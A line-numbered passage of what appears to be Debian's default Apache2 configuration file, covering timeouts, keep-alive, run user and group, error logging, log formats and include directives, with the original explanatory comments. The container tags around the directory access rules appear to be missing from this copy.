73 | #
74 | Mutex file:${APACHE_LOCK_DIR} default
75 |
76 | #
77 | # PidFile: The file in which the server should record its process
78 | # identification number when it starts.
79 | # This needs to be set in /etc/apache2/envvars
80 | #
81 | PidFile ${APACHE_PID_FILE}
82 |
83 | #
84 | # Timeout: The number of seconds before receives and sends time out.
85 | #
86 | Timeout 300
87 |
88 | #
89 | # KeepAlive: Whether or not to allow persistent connections (more than
90 | # one request per connection). Set to "Off" to deactivate.
91 | #
92 | KeepAlive On
93 |
94 | #
95 | # MaxKeepAliveRequests: The maximum number of requests to allow
96 | # during a persistent connection. Set to 0 to allow an unlimited amount.
97 | # We recommend you leave this number high, for maximum performance.
98 | #
99 | MaxKeepAliveRequests 100
100 |
101 | #
102 | # KeepAliveTimeout: Number of seconds to wait for the next request from the
103 | # same client on the same connection.
104 | #
105 | KeepAliveTimeout 5
106 |
107 |
108 | # These need to be set in /etc/apache2/envvars
109 | User ${APACHE_RUN_USER}
110 | Group ${APACHE_RUN_GROUP}
111 |
112 | #
113 | # HostnameLookups: Log the names of clients or just their IP addresses
114 | # e.g., www.apache.org (on) or 204.62.129.132 (off).
115 | # The default is off because it'd be overall better for the net if people
116 | # had to knowingly turn this feature on, since enabling it means that
117 | # each client request will result in AT LEAST one lookup request to the
118 | # nameserver.
119 | #
120 | HostnameLookups Off
121 |
122 | # ErrorLog: The location of the error log file.
123 | # If you do not specify an ErrorLog directive within a
124 | # container, error messages relating to that virtual host will be
125 | # logged here. If you *do* define an error logfile for a
126 | # container, that host's errors will be logged there and not here.
127 | #
128 | ErrorLog ${APACHE_LOG_DIR}/error.log
129 |
130 | #
131 | # LogLevel: Control the severity of messages logged to the error_log.
132 | # Available values: trace8, ..., trace1, debug, info, notice, warn,
133 | # error, crit, alert, emerg.
134 | # It is also possible to configure the log level for particular modules, e.g.
135 | # "LogLevel info ssl:warn"
136 | #
137 | LogLevel warn
138 |
139 | # Include module configuration:
140 | IncludeOptional mods-enabled/*.load
141 | IncludeOptional mods-enabled/*.conf
142 |
143 | # Include list of ports to listen on
144 | Include ports.conf
145 |
146 |
147 | # Sets the default security model of the Apache2 HTTPD server. It does
148 | # not allow access to the root filesystem outside of /usr/share and /var/www.
149 | # The former is used by web applications packaged in Debian,
150 | # the latter may be used for local directories served by the web server. If
151 | # your system is serving content from a sub-directory in /srv you must allow
152 | # access here, or in any related virtual host.
153 |
154 | Options FollowSymLinks
155 | AllowOverride None
156 | Require all denied
157 |
158 |
159 |
160 | AllowOverride None
161 | Require all granted
162 |
163 |
164 |
165 | Options Indexes FollowSymLinks
166 | AllowOverride None
167 | Require all granted
168 |
169 |
170 | #
171 | # Options Indexes FollowSymLinks
172 | # AllowOverride None
173 | # Require all granted
174 | #
175 |
176 |
177 |
178 |
179 | # AccessFileName: The name of the file to look for in each directory
180 | # for additional configuration directives. See also the AllowOverride
181 | # directive.
182 | #
183 | AccessFileName .htaccess
184 |
185 | #
186 | # The following lines prevent .htaccess and .htpasswd files from being
187 | # viewed by Web clients.
188 | #
189 |
190 | Require all denied
191 |
192 |
193 |
194 | #
195 | # The following directives define some format nicknames for use with
196 | # a CustomLog directive.
197 | #
198 | # These deviate from the Common Log Format definitions in that they use %O
199 | # (the actual bytes sent including headers) instead of %b (the size of the
200 | # requested file), because the latter makes it impossible to detect partial
201 | # requests.
202 | #
203 | # Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
204 | # Use mod_remoteip instead.
205 | #
206 | LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
207 | LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
208 | LogFormat "%h %l %u %t \"%r\" %>s %O" common
209 | LogFormat "%{Referer}i -> %U" referer
210 | LogFormat "%{User-agent}i" agent
211 |
212 | # Include of directories ignores editors' and dpkg's backup files,
213 | # see README.Debian for details.
214 |
215 | # Include generic snippets of statements
216 | IncludeOptional conf-enabled/*.conf
217 |
218 | # Include the virtual host configurations:
219 | IncludeOptional sites-enabled/*.conf
220 |
221 | # vim: syntax=apache ts=4 sw=4 sts=4 sr noet
222 |
--------------------------------------------------------------------------------